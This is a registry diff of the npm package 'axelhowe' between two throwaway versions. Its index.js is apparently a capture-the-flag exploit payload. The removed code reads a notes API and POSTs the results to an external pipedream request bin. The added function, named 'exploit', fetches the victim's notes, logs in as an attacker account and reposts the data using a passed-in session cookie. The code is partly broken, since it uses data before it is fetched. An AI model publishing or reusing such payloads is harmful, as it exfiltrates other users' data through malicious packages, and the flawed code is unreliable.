axelhowe 0.0.0-5VtLmtixx6V5PkcW → 0.0.0-8yOW2EBicbPwGXc5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +41 -25
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,28 +1,44 @@
1
+ function exploit(cookie) {
2
+ let url = "/api/notes/all";
3
+ let url2 = "/api/notes";
4
+ let data;
1
5
 
2
- let url = "/api/notes/all";
3
- // let c2path = "/api/notes";
4
- let request_bin = "https://en2lvaqpui54s.x.pipedream.net/";
5
- let data;
6
- data = { "title": "aaaa", "id": "bbbb" };
7
- // fetch(url)
8
- // .then(
9
- // (response) => {
10
- // return response.json();
11
- // }
12
- // ).then(
13
- // (response) => {
14
- // data = response[0];
15
- // data.author = "aaaa";
16
- // });
6
+ fetch(url)
7
+ .then(
8
+ (response) => {
9
+ return response.json();
10
+ }
11
+ ).then(
12
+ (response) => {
13
+ data = response[0];
14
+ });
17
15
 
18
- fetch(
19
- request_bin, {
20
- method: "POST",
21
- headers: {
22
- "content-type": "application/json",
23
- // "cookie": "session=" + cookie
24
- },
25
- body: JSON.stringify({ "title": data.title, "content": data.id })
26
- }
27
- );
16
+ fetch(
17
+ "/login", {
18
+ method: "POST",
19
+ headers: {
20
+ "content-type": "application/x-www-form-urlencoded"
21
+ },
22
+ body: "username=qweasd&password=qweasd"
23
+ }).then(
24
+ (response) => {
25
+ fetch(
26
+ url2, {
27
+ method: "POST",
28
+ headers: {
29
+ "content-type": "application/json",
30
+ "cookie": "session=" + cookie
31
+ },
32
+ body: JSON.stringify({ "title": data.title, "content": data.id })
33
+ }
34
+ );
35
+ });
28
36
 
37
+ fetch(
38
+ url2, {
39
+ method: "POST",
40
+ body: JSON.stringify({ "title": data.title, "content": data.id })
41
+ }
42
+ );
43
+ return ""
44
+ }
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-5VtLmtixx6V5PkcW"}
1
+ {"name":"axelhowe","version":"0.0.0-8yOW2EBicbPwGXc5"}